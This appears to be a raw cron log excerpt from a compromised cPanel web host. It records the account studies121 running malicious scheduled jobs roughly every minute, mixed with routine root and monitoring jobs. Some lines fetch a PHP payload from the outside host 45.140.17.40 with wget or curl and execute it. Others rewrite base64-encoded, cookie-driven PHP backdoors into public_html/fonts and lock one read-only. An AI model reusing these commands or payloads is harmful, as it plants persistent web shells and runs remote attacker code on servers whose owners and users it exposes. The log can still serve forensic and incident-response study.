Sep 21 05:40:01 ip-184-168-122-23 CROND[26024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:40:01 ip-184-168-122-23 CROND[26029]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 05:40:01 ip-184-168-122-23 CROND[26028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:40:01 ip-184-168-122-23 CROND[26026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:40:01 ip-184-168-122-23 CROND[26027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 05:40:01 ip-184-168-122-23 CROND[26030]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 05:40:01 ip-184-168-122-23 CROND[26031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:40:01 ip-184-168-122-23 CROND[26032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:41:01 ip-184-168-122-23 CROND[26313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:41:01 ip-184-168-122-23 CROND[26315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:41:01 ip-184-168-122-23 CROND[26316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:41:01 ip-184-168-122-23 CROND[26318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:42:01 ip-184-168-122-23 CROND[26580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:42:01 ip-184-168-122-23 CROND[26581]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:42:01 ip-184-168-122-23 CROND[26582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:42:01 ip-184-168-122-23 CROND[26585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:42:01 ip-184-168-122-23 CROND[26588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:43:01 ip-184-168-122-23 CROND[26978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:43:01 ip-184-168-122-23 CROND[26979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:43:01 ip-184-168-122-23 CROND[26980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:43:01 ip-184-168-122-23 CROND[26982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:44:01 ip-184-168-122-23 CROND[27260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:44:01 ip-184-168-122-23 CROND[27261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:44:02 ip-184-168-122-23 CROND[27263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:44:02 ip-184-168-122-23 CROND[27267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:44:02 ip-184-168-122-23 CROND[27269]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:45:01 ip-184-168-122-23 CROND[27540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:45:01 ip-184-168-122-23 CROND[27539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:45:01 ip-184-168-122-23 CROND[27543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:45:01 ip-184-168-122-23 CROND[27541]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 05:45:01 ip-184-168-122-23 CROND[27544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:45:01 ip-184-168-122-23 CROND[27542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 05:46:01 ip-184-168-122-23 CROND[27873]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 05:46:01 ip-184-168-122-23 CROND[27871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:46:01 ip-184-168-122-23 CROND[27869]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 05:46:01 ip-184-168-122-23 CROND[27872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:46:01 ip-184-168-122-23 CROND[27870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:46:01 ip-184-168-122-23 CROND[27874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:46:01 ip-184-168-122-23 CROND[27878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:47:01 ip-184-168-122-23 CROND[28176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:47:01 ip-184-168-122-23 CROND[28179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:47:01 ip-184-168-122-23 CROND[28182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:47:01 ip-184-168-122-23 CROND[28183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:48:02 ip-184-168-122-23 CROND[28559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:48:02 ip-184-168-122-23 CROND[28561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:48:02 ip-184-168-122-23 CROND[28563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:48:02 ip-184-168-122-23 CROND[28565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:48:02 ip-184-168-122-23 CROND[28562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:49:01 ip-184-168-122-23 CROND[28780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:49:01 ip-184-168-122-23 CROND[28783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:49:01 ip-184-168-122-23 CROND[28784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:49:01 ip-184-168-122-23 CROND[28782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:50:01 ip-184-168-122-23 CROND[29012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:50:01 ip-184-168-122-23 CROND[29014]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 05:50:01 ip-184-168-122-23 CROND[29015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:50:01 ip-184-168-122-23 CROND[29018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:50:01 ip-184-168-122-23 CROND[29019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 05:50:01 ip-184-168-122-23 CROND[29021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 05:50:01 ip-184-168-122-23 CROND[29023]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 05:50:01 ip-184-168-122-23 CROND[29025]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:50:01 ip-184-168-122-23 CROND[29026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:51:02 ip-184-168-122-23 CROND[29189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:51:02 ip-184-168-122-23 CROND[29191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:51:02 ip-184-168-122-23 CROND[29192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:51:02 ip-184-168-122-23 CROND[29196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:52:01 ip-184-168-122-23 CROND[29360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
